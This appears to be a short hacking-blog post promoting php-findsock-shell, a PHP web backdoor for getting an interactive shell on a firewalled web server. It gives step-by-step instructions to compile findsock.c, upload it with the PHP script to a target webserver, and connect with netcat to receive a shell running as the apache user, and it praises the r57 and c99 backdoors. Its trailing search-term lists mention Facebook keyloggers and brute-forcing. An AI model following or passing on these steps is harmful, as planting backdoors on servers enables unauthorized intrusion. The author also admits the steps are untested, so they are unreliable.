php-findsock-shell : another interesting web backdoor

Creating a reverse shell on a non-firewalled server , won’t be a problem when you use php shells such as r57 or c99. R57 and c99 will simply create a reverse shell / bind shell by just clicking on their options and while your box is already listening to a specific port. There you’d receive a reverse shell on your own box ,and you’re ready to go! . But what if our target’s firewalled , and the reverse shell method completely being impossible to do? How to create a reverse shell on a Firewalled target server ?

 

Well, i’ve found this tool, called php-findsock-shell on pentestmonkey’s web. This is the only one tool you’ll need when you wanna create a reverse shell on a firewalled server! Here are some steps that i (actually) haven’t tried it out by myself :P , but it should work man :) :

 

  • Download the php-findsock-shell here.
  • Compile findsock.c : gcc -o findsock findsock.c
  • Upload the compiled findsock , and the script php-findsock-shell.php somewhere in the webserver.
  • Accessing php-findsock-shell.php through netcat , and enjoy your reverse shell! :

$ nc -v target 80
target [10.0.0.1] 80 (http) open
GET /php-findsock-shell.php HTTP/1.0
sh-3.2$ id
uid=80(apache) gid=80(apache) groups=80(apache)
sh-3.2$
… you now have an interactive shell! :D

 

Enjoy ! , further details can be found here.

Recenly search

Incoming search terms for the article:

simple web backdoorbackdoor apache nc 80 php gccsimple php reverse shellSHOCKING Hidden Message!!!!! In The Google Logo! You wont believe this!SHOCKING Hidden Message In The Google Logo! You wont believe this!shell r57 com phpphp-findsock-shell phpphp findsockfacebook exploit shell phpbackdoor shell c99tutorial backdoor web pdf,  
Popular Today naruto shippuden 170 videologcat physics walkthroughnaruto shippuden 168 videologfacebook spybacktrack 3shy enginevtunnelBackTrack tutorialbacktrack 3 tutorialfacebook photo viewerSee The Shocking Hidden Message In The Google Logo that GOOGLE Does NOT Want You To Know About!how to view private myspace picturesmy empire hackview private myspace picturesSHOCKING: RUDE HIDDEN MESSAGE in Toy Story 3!facebook keyloggerHIDDEN MESSAGE IN GOOGLE LOGOTerri Moulton Hormanrapidleechbrute force facebook,   Computer Security Stuff on eBay!
Electronics stuffs on ebay

One Response to “php-findsock-shell : another interesting web backdoor”

  1. [...] [via] Related PostsPHP to PDF with Oracle DatabasePHP Designer 2007 – Professional 5.3.1PHP connection to OracleFound anotherthing interesting.. “The Dark Game?Found anotherthing interesting.. “The Dark Game” [...]

Leave a Reply